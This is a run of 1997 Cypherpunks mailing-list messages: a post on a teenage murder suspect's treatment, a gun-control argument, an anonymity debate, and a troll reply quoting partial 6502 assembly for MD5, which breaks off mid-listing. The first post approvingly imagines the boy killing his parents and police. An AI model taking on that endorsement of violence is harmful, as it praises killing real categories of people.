> "Norbert" then he should probably be treated as a murderer.  While the
> police should not harrass gays, such harrassment does not seem to make
> a good excuse for murdering an unrelated completely innocent third
> party.

I suppose, but it does seem that the only time young people get adult
rights awarded to them is when adults want to punish them for something.

Here we have a 15 year old, having a clandestine relationship with an
older friend.  He lets something slip to a therapist, who immediately
declares that the boy has no right to privacy, and communicates his
confidential medical files to the local prosecutor.  The cops accost him
in his home, take his computer hard drive, and install bugging equipment
all over the place and demand he participate in an elaborate entrapment
scheme, or they will screw him royally. 

He finaly gets up enough courage to say "NO" to the cops, and his parents
then drag him to various places where they try and get various people to
sign papers committing him to a mental institution, including a degrading
hearing in which a judge makes smug remarks about corporal punishment,
declares he is "just a kid" with no rights, and suggests that family
problems are a result of kids taking advantage of their parents niceness. 

Oh - his older friend is also arrested, and charged with every imaginable
sex crime, and held without bail. 

Failing to get him committed, the police then contact the team in charge
of the murder investigation of the uninvolved third party, and give them
his name as a suspect, whereupon he is promptly arrested and jailed
without bail as well. 

His parents lawyer then signs away all his rights to confidentiality, and
his parents start a media campaign about how the "system" let them down,
because they couldn't just get him locked up anytime they demanded.

Add to the insult the years of taunting he endured in school because he
was gay, and it probably isn't beyond the realm of possibility that he
caved someones head in with the nearest rock.  Of course, it would have
been nicer if he had terminated his parents and half a dozen jackbooted
thugs with extreme prejudice, but as we know, when someone goes postal,
it's sometimes the bystanders who take the bullets.

Although he had to right to confidentiality from his therapist, no rights
against his parents, no right against the police, no right to keep his
parents from giving all his confidential records to the press, and no
right to his own legal counsel, he now apparently has the "right" to be
tried as an "adult" and take "full adult responsibility" for any crime he
may have committed. 

I'm not suggesting killing anyone is a nice thing to do, but certainly
adults with full adult rights and responsibilities have been known to kill
far more people over far less crap that this 15 year old put up with. 

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Fri, 10 Oct 1997 14:14:11 +0800
To: cynthb@sonetis.com (Cynthia Brown)
Subject: Re: "Show me an example of terrorists using the Internet or crypto"
In-Reply-To: <Pine.BSD/.3.91.971001154053.7185A-100000@mrburns.iosphere.net>
Message-ID: <199710100607.BAA00869@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> On Wed, 1 Oct 1997, Alex Le Heux wrote:
>>You people just don't get it do you? A gun has one purpose: To kill. Just like
>>any other tool, a gun, if it is available _will_ be used at some point.
> 
>>So making sure there are lots of guns around only serves to make a lot of
>>people very dead. This is a Bad Thing.
> I agree wholeheartedly.  Uncontrolled guns do not solve problems, they 
> create them.  If most households have at least one firearm, it makes it 

	Name one problem that you have with "uncontrolled" guns that you 
don't with controlled ones. 

> that much easier for a criminal to obtain one by stealing yours while you 
> are at work.

	Not if it is with you. 

> Canada may be regulated to death according to most libertarians, but I for
> one like it that way.  I can walk alone and unarmed at night in Ottawa,
> Toronto, etc. without fearing for my life.  Can a female resident of
> Washington or New York say the same?  Our schools do not have metal detectors
> at the entrances because they are not needed. 

	Toronto has how many people? And the cultural mix is?
 
> IMNSHO the best way to fight crime is not with bigger guns than the "bad
> guys", but with better social programs such as universal health care, and
> improved day care so single parents can show their kids what a productive

	Crap. The kind of crime that guns stop isn't the kind solved with 
"better social conditions". Rape has nothing to do with how much money _either_
person makes. Muder rarely does. If you can't see this, then you have your
head firmly up your governments ass.

	Stop and take a hard look at who kills who with guns and why. 

> lifestyle looks like.  This takes longer than blowing the brains out of some
> teenager that feels his only path to a better life is through crime, and it
> doesn't give the same adrenalin rush.  However, it works at the source of
> crime, and not the consequences. 

	You may know a bit about crypto, but you don't know a god damn thing 
about crime and it's causes. Shoemaker stick to your lasts. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Fri, 10 Oct 1997 14:22:18 +0800
To: ravage@ssz.com (Jim Choate)
Subject: Re: Why? (fwd)
In-Reply-To: <199710012159.QAA20763@einstein.ssz.com>
Message-ID: <199710100615.BAA00927@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> Forwarded message:
> > Date: Tue, 30 Sep 1997 22:54:15 -0700
> > From: Bill Frantz <frantz@netcom.com>
> > Black Unicorn uses a nym to express opinions he expects his coworkers and
> > acquaintances would not like.  Anonymous remailers can be used for the same
> > purpose.
> Ok, I believe that falls under the 'bitching' category.

	No. When I say "Jane doe is a bitch", I am bitching. When I say 
"IMO, we need to eliminate the governments ability to track the movement of 
 money thru the system", that is not bitching, that is stating an opnion that
might cost one contacts or clients were one in the kind of business where that
kind of thing wasn't highly thought of.

> > I have heard of people's posts being brought up in employment
> > interviews.  A rational person might want to express controversial opinions
> > anonymously.
> And your point is? My personal opinions have nothing to do with my
> professional career and yours shouldn't either. I would love to have a

	Shouldn't != doesn't. 

> If you want to work for such a company and you know their views and your
> views are in conflict then I would say you need a shrink not an anon.
> remailer.

	Or just a job.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous Online Limpdick <aol@aol.com>
Date: Fri, 10 Oct 1997 18:19:09 +0800
To: cypherpunks@toad.com
Subject: Re: 6502 ML programming
In-Reply-To: <199710091925.VAA17154@basement.replay.com>
Message-ID: <343DDFE3.1F4F@aol.com>
MIME-Version: 1.0
Content-Type: text/plain



Howcum you guys are talking about computer code and stuff?
Are your browsers broken? Can't get QUAKE to boot?
Let me know if you need some help.
I know how to format my hard drive and reinstall Windows. I'm an expert.

AOL'er


Anonymous wrote:
> If you guys are still doing 6502 work, maybe you can make use of this.
> --
> 
> * RSA Data Security, Inc. MD5 Message-Digest Algorithm
> 
> *
> *  ***********************************************************************
> *  **  Message-digest routines:                                         **
> *  **  To form the message digest for a message M                       **
> *  **    (1) Initialize a context buffer mdContext using MD5Init        **
> *  **    (2) Call MD5Update on mdContext and M                          **
> *  **    (3) Call MD5Final on mdContext                                 **
> *  **  The message digest is now in the bugffer passed to MD5Final      **
> *  ***********************************************************************
> *
> 
>  ORG $2000
> 
> * Jump Table
>  JMP MD5INIT
>  JMP MD5UPD
>  JMP MD5FINAL
> 
> DIGEST HEX 00000000 ;Message digest ends up here.
>  HEX 00000000
>  HEX 00000000
>  HEX 00000000
> 
> MD5INITV HEX 01234567 ;MD5 initialization values
>  HEX 89ABCDEF
>  HEX FEDCBA98
>  HEX 76543210
> 
> MD5BYTES DS 8 ;Counts bytes in message digest so far
> 
> MD5BUFRP HEX 00 ;Pointer to current byte in partially full buffer
> 
> MD5BUFR DS 64 ;64-byte buffer for current MD5 block
> 
> * Initialize MD5 - start new message digest
> 
> MD5INIT LDX #15 ;Load initialization constants
> ]LOOP LDA MD5INITV,X
>  STA DIGEST,X
>  DEX
>  BPL ]LOOP
> 
>  LDA #0 ;Reset byte count to zero
>  LDX #7
> ]LOOP STA MD5BYTES,X
>  DEX
>  BPL ]LOOP
> 
>  STA MD5BUFRP ;Reset buffer to empty
> 
> ]RTS RTS
> 
> * MD5UPD - add a byte to the message digest
> 
> MD5UPD LDX MD5BUFRP
>  STA MD5BUFR,X
>  INX
>  STX MD5BUFRP
>  JSR INCBYTES
>  CPX #64
>  BCC ]RTS
>  LDX #0
>  STX MD5BUFRP
>  JSR MD5DOBLK
>  RTS
> 
> INCBYTES INC MD5BYTES
>  BNE ]RTS
>  INC MD5BYTES+1
>  BNE ]RTS
>  INC MD5BYTES+2
>  BNE ]RTS
> 
>  HEX 0000
> 
> * MD5FINAL - do last block and compute final digest
> 
> MD5FINAL LDA #$80
>  LDX MD5BUFRP
>  STA MD5BUFR,X
>  INX
>  STX MD5BUFRP
> ]LOOP CPX #64
>  BCC MD5FA
>  LDX #0
>  STX MD5BUFRP
>  JSR MD5DOBLK
> MD5FA LDX MD5BUFRP
>  LDA #0
>  STA MD5BUFR,X
>  INX
>  STX MD5BUFRP
>  CPX #56
>  BNE ]LOOP
> 
>  LDA MD5BYTES
>  STA MD5BUFR+56
>  LDA MD5BYTES+1
>  STA MD5BUFR+57
>  LDA MD5BYTES+2
>  STA MD5BUFR+58
>  LDA MD5BYTES+3
>  STA MD5BUFR+59
>  LDA MD5BYTES+4
>  STA MD5BUFR+60
>  LDA MD5BYTES+5
>  STA MD5BUFR+61
>  LDA MD5BYTES+6
>  STA MD5BUFR+62
>  LDA MD5BYTES+7
>  STA MD5BUFR+63
> 
>  LUP 3 ;Multiply times 8
>  LDA MD5BUFR+56 ; to convert number of bytes to number of bits
>  ASL
>  STA MD5BUFR+56
>  LDA MD5BUFR+57
>  ROL
>  STA MD5BUFR+57
>  LDA MD5BUFR+58
>  ROL
>  STA MD5BUFR+58
>  LDA MD5BUFR+59
>  ROL ;Unlikely the message would be over 500 MB
>  STA MD5BUFR+59 ;so we can stop here...
>  --^
> 
>  JSR MD5DOBLK
>  RTS
> 
> MD5TEMPB DS 16 ;Temporary buffer for a,b,c,d
> MD5TEMPV DS 4 ;Temporary 32-bit word storage (used by MD5DOBLK)
> MD5TEMP2 DS 4 ;Temporary 32-bit variable #2 (used by F,G,H,I fcns)
> 
> * Block transformation
> 
> MD5DOBLK LDX #15 ;Copy values into temp buffer
> ]LOOP LDA DIGEST,X
>  STA MD5TEMPB,X
>  DEX
>  BPL ]LOOP
> 
>  LDA #0
>  STA MD5TP
> 
> * Round 1 : F-functions
> *           a = b + ((a + F(b,c,d) + X[k] + T[i]) <<< s). */
> 
>  JSR MD5LOADA ;1  (a,b,c,d)
>  JSR F_BCD
>  JSR NEXT_T ;(D76AA478)
>  LDA #0
>  JSR MD5ADDX
>  JSR MD5RL7 ;Rotate Left 7
>  JSR MD5ADDB
>  JSR MD5STORA
> 
>  JSR MD5LOADD ;2  (d,a,b,c)
>  JSR F_ABC
>  JSR NEXT_T ;(E8C7B756)
>  LDA #1
>  JSR MD5ADDX
>  JSR MD5RL12 ;Rotate Left 12
>  JSR MD5ADDA
>  JSR MD5STORD
> 
>  JSR MD5LOADC ;3  (c,d,a,b)
>  JSR F_DAB
>  JSR NEXT_T
>  LDA #2
>  JSR MD5ADDX
>  JSR MD5RL17 ;Rotate left 17
>  JSR MD5ADDD
>  JSR MD5STORC
> 
>  JSR MD5LOADB ;4  (b,c,d,a)
>  JSR F_CDA
>  JSR NEXT_T
>  LDA #3
>  JSR MD5ADDX
>  JSR MD5RL22 ;Rotate left 22
>  JSR MD5ADDC
>  JSR MD5STORB
> 
>  JSR MD5LOADA ;5  (a,b,c,d)
>  JSR F_BCD
>  JSR NEXT_T
>  LDA #4
>  JSR MD5ADDX
>  JSR MD5RL7 ;<<7
>  JSR MD5ADDB
>  JSR MD5STORA
> 
>  JSR MD5LOADD ;6  (d,a,b,c)
>  JSR F_ABC
>  JSR NEXT_T
>  LDA #5
>  JSR MD5ADDX
>  JSR MD5RL12 ;<<12
>  JSR MD5ADDA
>  JSR MD5STORD
> 
>  JSR MD5LOADC ;7  (c,d,a,b)
>  JSR F_DAB
>  JSR NEXT_T
>  LDA #6
>  JSR MD5ADDX
>  JSR MD5RL17 ;<<17
>  JSR MD5ADDD
>  JSR MD5STORC
> 
>  JSR MD5LOADB ;8  (b,c,d,a)
>  JSR F_CDA
>  JSR NEXT_T
>  LDA #7
>  JSR MD5ADDX
>  JSR MD5RL22 ;<<22
>  JSR MD5ADDC
>  JSR MD5STORB
> 
>  JSR MD5LOADA ;9  (a,b,c,d)
>  JSR F_BCD
>  JSR NEXT_T
>  LDA #8
>  JSR MD5ADDX
>  JSR MD5RL7
>  JSR MD5ADDB
>  JSR MD5STORA
> 
>  JSR MD5LOADD ;10  (d,a,b,c)
>  JSR F_ABC
>  JSR NEXT_T
>  LDA #9
>  JSR MD5ADDX
>  JSR MD5RL12
>  JSR MD5ADDA
>  JSR MD5STORD
> 
>  JSR MD5LOADC ;11  (c,d,a,b)
>  JSR F_DAB
>  JSR NEXT_T
>  LDA #10
>  JSR MD5ADDX
>  JSR MD5RL17
>  JSR MD5ADDD
>  JSR MD5STORC
> 
>  JSR MD5LOADB ;12  (b,c,d,a)
>  JSR F_CDA
>  JSR NEXT_T
>  LDA #11
>  JSR MD5ADDX
>  JSR MD5RL22
>  JSR MD5ADDC
>  JSR MD5STORB
> 
>  JSR MD5LOADA ;13  (a,b,c,d)
>  JSR F_BCD
>  JSR NEXT_T
>  LDA #12
>  JSR MD5ADDX
>  JSR MD5RL7
>  JSR MD5ADDB
>  JSR MD5STORA
> 
>  JSR MD5LOADD ;14  (d,a,b,c)
>  JSR F_ABC
>  JSR NEXT_T
>  LDA #13
>  JSR MD5ADDX
>  JSR MD5RL12
>  JSR MD5ADDA
>  JSR MD5STORD
> 
>  JSR MD5LOADC ;15  (c,d,a,b)
>  JSR F_DAB
>  JSR NEXT_T
>  LDA #14
>  JSR MD5ADDX
>  JSR MD5RL17
>  JSR MD5ADDD
>  JSR MD5STORC
> 
>  JSR MD5LOADB ;16  (b,c,d,a)
>  JSR F_CDA
>  JSR NEXT_T
>  LDA #15
>  JSR MD5ADDX
>  JSR MD5RL22
>  JSR MD5ADDC
>  JSR MD5STORB
> 
> * Round 2 : G-functions
> *           a = b + ((a + G(b,c,d) + X[k] + T[i]) <<< s). */
> 
>  JSR MD5LOADA ;17  (a,b,c,d)
>  JSR G_BCD
>  JSR NEXT_T
>  LDA #1
>  JSR MD5ADDX
>  JSR MD5RL5 ;Rotate Left 5
>  JSR MD5ADDB
>  JSR MD5STORA
> 
>  JSR MD5LOADD ;18  (d,a,b,c)
>  JSR G_ABC
>  JSR NEXT_T
>  LDA #6
>  JSR MD5ADDX
>  JSR MD5RL9 ;Rotate Left 9
>  JSR MD5ADDA
>  JSR MD5STORD
> 
>  JSR MD5LOADC ;19  (c,d,a,b)
>  JSR G_DAB
>  JSR NEXT_T
>  LDA #11
>  JSR MD5ADDX
>  JSR MD5RL14 ;Rotate left 14
>  JSR MD5ADDD
>  JSR MD5STORC
> 
>  JSR MD5LOADB ;20  (b,c,d,a)
>  JSR G_CDA
>  JSR NEXT_T
>  LDA #0
>  JSR MD5ADDX
>  JSR MD5RL20 ;Rotate left 20
>  JSR MD5ADDC
>  JSR MD5STORB
> 
>  JSR MD5LOADA ;21  (a,b,c,d)
>  JSR G_BCD
>  JSR NEXT_T
>  LDA #5
>  JSR MD5ADDX
>  JSR MD5RL5
>  JSR MD5ADDB
>  JSR MD5STORA
> 
>  JSR MD5LOADD ;22  (d,a,b,c)
>  JSR G_ABC
>  JSR NEXT_T
>  LDA #10
>  JSR MD5ADDX
>  JSR MD5RL9
>  JSR MD5ADDA
>  JSR MD5STORD
> 
>  JSR MD5LOADC ;23  (c,d,a,b)
>  JSR G_DAB
>  JSR NEXT_T
>  LDA #15
>  JSR MD5ADDX
>  JSR MD5RL14
>  JSR MD5ADDD
>  JSR MD5STORC
> 
>  JSR MD5LOADB ;24  (b,c,d,a)
>  JSR G_CDA
>  JSR NEXT_T
>  LDA #4
>  JSR MD5ADDX
>  JSR MD5RL20
>  JSR MD5ADDC
>  JSR MD5STORB
> 
>  JSR MD5LOADA ;25  (a,b,c,d)
>  JSR G_BCD
>  JSR NEXT_T
>  LDA #9
>  JSR MD5ADDX
>  JSR MD5RL5
>  JSR MD5ADDB
>  JSR MD5STORA
> 
>  JSR MD5LOADD ;26  (d,a,b,c)
>  JSR G_ABC
>  JSR NEXT_T
>  LDA #14
>  JSR MD5ADDX
>  JSR MD5RL9
>  JSR MD5ADDA
>  JSR MD5STORD
> 
>  JSR MD5LOADC ;27  (c,d,a,b)
>  JSR G_DAB
>  JSR NEXT_T
>  LDA #3
>  JSR MD5ADDX
>  JSR MD5RL14
>  JSR MD5ADDD
>  JSR MD5STORC
> 
>  JSR MD5LOADB ;28  (b,c,d,a)
>  JSR G_CDA
>  JSR NEXT_T
>  LDA #8
>  JSR MD5ADDX
>  JSR MD5RL20
>  JSR MD5ADDC
>  JSR MD5STORB
> 
>  JSR MD5LOADA ;29  (a,b,c,d)
>  JSR G_BCD
>  JSR NEXT_T
>  LDA #13
>  JSR MD5ADDX
>  JSR MD5RL5
>  JSR MD5ADDB
>  JSR MD5STORA
> 
>  JSR MD5LOADD ;30  (d,a,b,c)
>  JSR G_ABC
>  JSR NEXT_T
>  LDA #2
>  JSR MD5ADDX
>  JSR MD5RL9
>  JSR MD5ADDA
>  JSR MD5STORD
> 
>  JSR MD5LOADC ;31  (c,d,a,b)
>  JSR G_DAB
>  JSR NEXT_T
>  LDA #7
>  JSR MD5ADDX
>  JSR MD5RL14
>  JSR MD5ADDD
>  JSR MD5STORC
> 
>  JSR MD5LOADB ;32  (b,c,d,a)
>  JSR G_CDA
>  JSR NEXT_T
>  LDA #12
>  JSR MD5ADDX
>  JSR MD5RL20
>  JSR MD5ADDC
>  JSR MD5STORB
> 
> * Round 3 : H-functions
> *          a = b + ((a + H(b,c,d) + X[k] + T[i]) <<< s). */
> 
>  JSR MD5LOADA ;33  (a,b,c,d)
>  JSR H_BCD
>  JSR NEXT_T
>  LDA #5
>  JSR MD5ADDX
>  JSR MD5RL4 ;Rotate Left 4
>  JSR MD5ADDB
>  JSR MD5STORA
> 
>  JSR MD5LOADD ;34  (d,a,b,c)
>  JSR H_ABC
>  JSR NEXT_T
>  LDA #8
>  JSR MD5ADDX
>  JSR MD5RL11 ;Rotate Left 11
>  JSR MD5ADDA
>  JSR MD5STORD
> 
>  JSR MD5LOADC ;35  (c,d,a,b)
>  JSR H_DAB
>  JSR NEXT_T
>  LDA #11
>  JSR MD5ADDX
>  JSR MD5RL16 ;Rotate left 16
>  JSR MD5ADDD
>  JSR MD5STORC
> 
>  JSR MD5LOADB ;36  (b,c,d,a)
>  JSR H_CDA
>  JSR NEXT_T
>  LDA #14
>  JSR MD5ADDX
>  JSR MD5RL23 ;Rotate left 23
>  JSR MD5ADDC
>  JSR MD5STORB
> 
>  JSR MD5LOADA ;37  (a,b,c,d)
>  JSR H_BCD
>  JSR NEXT_T
>  LDA #1
>  JSR MD5ADDX
>  JSR MD5RL4
>  JSR MD5ADDB
>  JSR MD5STORA
> 
>  JSR MD5LOADD ;38  (d,a,b,c)
>  JSR H_ABC
>  JSR NEXT_T
>  LDA #4
>  JSR MD5ADDX
>  JSR MD5RL11
>  JSR MD5ADDA
>  JSR MD5STORD
> 
>  JSR MD5LOADC ;39  (c,d,a,b)
>  JSR H_DAB
>  JSR NEXT_T
>  LDA #7
>  JSR MD5ADDX
>  JSR MD5RL16
>  JSR MD5ADDD
>  JSR MD5STORC
> 
>  JSR MD5LOADB ;40  (b,c,d,a)
>  JSR H_CDA
>  JSR NEXT_T
>  LDA #10
>  JSR MD5ADDX
>  JSR MD5RL23
>  JSR MD5ADDC
>  JSR MD5STORB
> 
>  JSR MD5LOADA ;41  (a,b,c,d)
>  JSR H_BCD
>  JSR NEXT_T
>  LDA #13
>  JSR MD5ADDX
>  JSR MD5RL4
>  JSR MD5ADDB
>  JSR MD5STORA
> 
>  JSR MD5LOADD ;42  (d,a,b,c)
>  JSR H_ABC
>  JSR NEXT_T
>  LDA #0
>  JSR MD5ADDX
>  JSR MD5RL11
>  JSR MD5ADDA
>  JSR MD5STORD
> 
>  JSR MD5LOADC ;43  (c,d,a,b)
>  JSR H_DAB
>  JSR NEXT_T
>  LDA #3
>  JSR MD5ADDX
>  JSR MD5RL16
>  JSR MD5ADDD
>  JSR MD5STORC
> 
>  JSR MD5LOADB ;44  (b,c,d,a)
>  JSR H_CDA
>  JSR NEXT_T
>  LDA #6
>  JSR MD5ADDX
>  JSR MD5RL23
>  JSR MD5ADDC
>  JSR MD5STORB
> 
>  JSR MD5LOADA ;45  (a,b,c,d)
>  JSR H_BCD
>  JSR NEXT_T
>  LDA #9
>  JSR MD5ADDX
>  JSR MD5RL4
>  JSR MD5ADDB
>  JSR MD5STORA
> 
>  JSR MD5LOADD ;46  (d,a,b,c)
>  JSR H_ABC
>  JSR NEXT_T
>  LDA #12
>  JSR MD5ADDX
>  JSR MD5RL11
>  JSR MD5ADDA
>  JSR MD5STORD
> 
>  JSR MD5LOADC ;47  (c,d,a,b)
>  JSR H_DAB
>  JSR NEXT_T
>  LDA #15
>  JSR MD5ADDX
>  JSR MD5RL16
>  JSR MD5ADDD
>  JSR MD5STORC
> 
>  JSR MD5LOADB ;48  (b,c,d,a)
>  JSR H_CDA
>  JSR NEXT_T
>  LDA #2
>  JSR MD5ADDX
>  JSR MD5RL23
>  JSR MD5ADDC
>  JSR MD5STORB
> 
> * Round 4 : I-functions
> *          a = b + ((a + I(b,c,d) + X[k] + T[i]) <<< s). */
> 
>  JSR MD5LOADA ;49  (a,b,c,d)
>  JSR I_BCD
>  JSR NEXT_T
>  LDA #0
>  JSR MD5ADDX
>  JSR MD5RL6 ;Rotate Left 6
>  JSR MD5ADDB
>  JSR MD5STORA
> 
>  JSR MD5LOADD ;50  (d,a,b,c)
>  JSR I_ABC
>  JSR NEXT_T
>  LDA #7
>  JSR MD5ADDX
>  JSR MD5RL10 ;Rotate Left 10
>  JSR MD5ADDA
>  JSR MD5STORD
> 
>  JSR MD5LOADC ;51  (c,d,a,b)
>  JSR I_DAB
>  JSR NEXT_T
>  LDA #14
>  JSR MD5ADDX
>  JSR MD5RL15 ;Rotate left 15
>  JSR MD5ADDD
>  JSR MD5STORC
> 
>  JSR MD5LOADB ;52  (b,c,d,a)
>  JSR I_CDA
>  JSR NEXT_T
>  LDA #5
>  JSR MD5ADDX
>  JSR MD5RL21 ;Rotate left 21
>  JSR MD5ADDC
>  JSR MD5STORB
> 
>  JSR MD5LOADA ;53  (a,b,c,d)
>  JSR I_BCD
>  JSR NEXT_T
>  LDA #12
>  JSR MD5ADDX
>  JSR MD5RL6
>  JSR MD5ADDB
>  JSR MD5STORA
> 
>  JSR MD5LOADD ;54  (d,a,b,c)
>  JSR I_ABC
>  JSR NEXT_T
>  LDA #3
>  JSR MD5ADDX
>  JSR MD5RL10
>  JSR MD5ADDA
>  JSR MD5STORD
> 
>  JSR MD5LOADC ;55  (c,d,a,b)
>  JSR I_DAB
>  JSR NEXT_T
>  LDA #10
>  JSR MD5ADDX
>  JSR MD5RL15
>  JSR MD5ADDD
>  JSR MD5STORC
> 
>  JSR MD5LOADB ;56  (b,c,d,a)
>  JSR I_CDA
>  JSR NEXT_T
>  LDA #1
>  JSR MD5ADDX
>  JSR MD5RL21
>  JSR MD5ADDC
>  JSR MD5STORB
> 
>  JSR MD5LOADA ;57  (a,b,c,d)
>  JSR I_BCD
>  JSR NEXT_T
>  LDA #8
>  JSR MD5ADDX
>  JSR MD5RL6
>  JSR MD5ADDB
>  JSR MD5STORA
> 
>  JSR MD5LOADD ;58  (d,a,b,c)
>  JSR I_ABC
>  JSR NEXT_T
>  LDA #15
>  JSR MD5ADDX
>  JSR MD5RL10
>  JSR MD5ADDA
>  JSR MD5STORD
> 
>  JSR MD5LOADC ;59  (c,d,a,b)
>  JSR I_DAB
>  JSR NEXT_T
>  LDA #6
>  JSR MD5ADDX
>  JSR MD5RL15
>  JSR MD5ADDD
>  JSR MD5STORC
> 
>  JSR MD5LOADB ;60  (b,c,d,a)
>  JSR I_CDA
>  JSR NEXT_T
>  LDA #13
>  JSR MD5ADDX
>  JSR MD5RL21
>  JSR MD5ADDC
>  JSR MD5STORB
> 
>  JSR MD5LOADA ;61  (a,b,c,d)
>  JSR I_BCD
>  JSR NEXT_T
>  LDA #4
>  JSR MD5ADDX
>  JSR MD5RL6
>  JSR MD5ADDB
>  JSR MD5STORA
> 
>  JSR MD5LOADD ;62  (d,a,b,c)
>  JSR I_ABC
>  JSR NEXT_T
>  LDA #11
>  JSR MD5ADDX
>  JSR MD5RL10
>  JSR MD5ADDA
>  JSR MD5STORD
> 
>  JSR MD5LOADC ;63  (c,d,a,b)
>  JSR I_DAB
>  JSR NEXT_T
>  LDA #2
>  JSR MD5ADDX
>  JSR MD5RL15
>  JSR MD5ADDD
>  JSR MD5STORC
> 
>  JSR MD5LOADB ;64  (b,c,d,a)
>  JSR I_CDA
>  JSR NEXT_T
>  LDA #9
>  JSR MD5ADDX
>  JSR MD5RL21
>  JSR MD5ADDC
>  JSR MD5STORB
> 
> * Add value to previous digest.
> * Note that this is four seperate 32-bit additions
> 
>  CLC
>  LDA MD5TEMPB
>  ADC DIGEST
>  STA DIGEST
>  LDA MD5TEMPB+1
>  ADC DIGEST+1
>  STA DIGEST+1
>  LDA MD5TEMPB+2
>  ADC DIGEST+2
>  STA DIGEST+2
>  LDA MD5TEMPB+3
>  ADC DIGEST+3
>  STA DIGEST+3
>  CLC
>  LDA MD5TEMPB+4
>  ADC DIGEST+4
>  STA DIGEST+4
>  LDA MD5TEMPB+5
>  ADC DIGEST+5
>  STA DIGEST+5
>  LDA MD5TEMPB+6
>  ADC DIGEST+6
>  STA DIGEST+6
>  LDA MD5TEMPB+7
>  ADC DIGEST+7
>  STA DIGEST+7
>  CLC
>  LDA MD5TEMPB+8
>  ADC DIGEST+8
>  STA DIGEST+8
>  LDA MD5TEMPB+9
>  ADC DIGEST+9
>  STA DIGEST+9
>  LDA MD5TEMPB+10
>  ADC DIGEST+10
>  STA DIGEST+10
>  LDA MD5TEMPB+11
>  ADC DIGEST+11
>  STA DIGEST+11
>  CLC
>  LDA MD5TEMPB+12
>  ADC DIGEST+12
>  STA DIGEST+12
>  LDA MD5TEMPB+13
>  ADC DIGEST+13
>  STA DIGEST+13
>  LDA MD5TEMPB+14
>  ADC DIGEST+14
>  STA DIGEST+14
>  LDA MD5TEMPB+15
>  ADC DIGEST+15
>  STA DIGEST+15
> 
>  RTS
> 
> * Basic MD5 functions
> 
> MD5LOADA LDA MD5TEMPB ;Put 'A' into temp variable
>  STA MD5TEMPV
>  LDA MD5TEMPB+1
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+2
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+3
>  STA MD5TEMPV+3
>  RTS
> 
> MD5LOADB LDA MD5TEMPB+4 ;Put 'B' into temp variable
>  STA MD5TEMPV
>  LDA MD5TEMPB+5
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+6
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+7
>  STA MD5TEMPV+3
>  RTS
> 
> MD5LOADC LDA MD5TEMPB+8 ;Put 'C' into temp variable
>  STA MD5TEMPV
>  LDA MD5TEMPB+9
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+10
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+11
>  STA MD5TEMPV+3
>  RTS
> 
> MD5LOADD LDA MD5TEMPB+12 ;Put 'D' into temp variable
>  STA MD5TEMPV
>  LDA MD5TEMPB+13
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+14
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+15
>  STA MD5TEMPV+3
>  RTS
> 
> MD5STORA LDA MD5TEMPV ;Store temp variable into 'A' in temp buffer
>  STA MD5TEMPB
>  LDA MD5TEMPV+1
>  STA MD5TEMPB+1
>  LDA MD5TEMPV+2
>  STA MD5TEMPB+2
>  LDA MD5TEMPV+3
>  STA MD5TEMPB+3
>  RTS
> 
> MD5STORB LDA MD5TEMPV ;Store temp variable into 'B'
>  STA MD5TEMPB+4
>  LDA MD5TEMPV+1
>  STA MD5TEMPB+5
>  LDA MD5TEMPV+2
>  STA MD5TEMPB+6
>  LDA MD5TEMPV+3
>  STA MD5TEMPB+7
>  RTS
> 
> MD5STORC LDA MD5TEMPV ;Store temp variable into 'C'
>  STA MD5TEMPB+8
>  LDA MD5TEMPV+1
>  STA MD5TEMPB+9
>  LDA MD5TEMPV+2
>  STA MD5TEMPB+10
>  LDA MD5TEMPV+3
>  STA MD5TEMPB+11
>  RTS
> 
> MD5STORD LDA MD5TEMPV ;Store temp variable into 'D'
>  STA MD5TEMPB+12
>  LDA MD5TEMPV+1
>  STA MD5TEMPB+13
>  LDA MD5TEMPV+2
>  STA MD5TEMPB+14
>  LDA MD5TEMPV+3
>  STA MD5TEMPB+15
>  RTS
> 
> MD5ADDA CLC ;Add 'A' to temp variable
>  LDA MD5TEMPB
>  ADC MD5TEMPV
>  STA MD5TEMPV
>  LDA MD5TEMPB+1
>  ADC MD5TEMPV+1
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+2
>  ADC MD5TEMPV+2
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+3
>  ADC MD5TEMPV+3
>  STA MD5TEMPV+3
>  RTS
> 
> MD5ADDB CLC ;Add 'B' to temp variable
>  LDA MD5TEMPB+4
>  ADC MD5TEMPV
>  STA MD5TEMPV
>  LDA MD5TEMPB+5
>  ADC MD5TEMPV+1
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+6
>  ADC MD5TEMPV+2
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+7
>  ADC MD5TEMPV+3
>  STA MD5TEMPV+3
>  RTS
> 
> MD5ADDC CLC ;Add 'C' to temp variable
>  LDA MD5TEMPB+8
>  ADC MD5TEMPV
>  STA MD5TEMPV
>  LDA MD5TEMPB+9
>  ADC MD5TEMPV+1
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+10
>  ADC MD5TEMPV+2
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+11
>  ADC MD5TEMPV+3
>  STA MD5TEMPV+3
>  RTS
> 
> MD5ADDD CLC ;Add 'D' to temp variable
>  LDA MD5TEMPB+12
>  ADC MD5TEMPV
>  STA MD5TEMPV
>  LDA MD5TEMPB+13
>  ADC MD5TEMPV+1
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+14
>  ADC MD5TEMPV+2
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+15
>  ADC MD5TEMPV+3
>  STA MD5TEMPV+3
>  RTS
> 
> * F function:
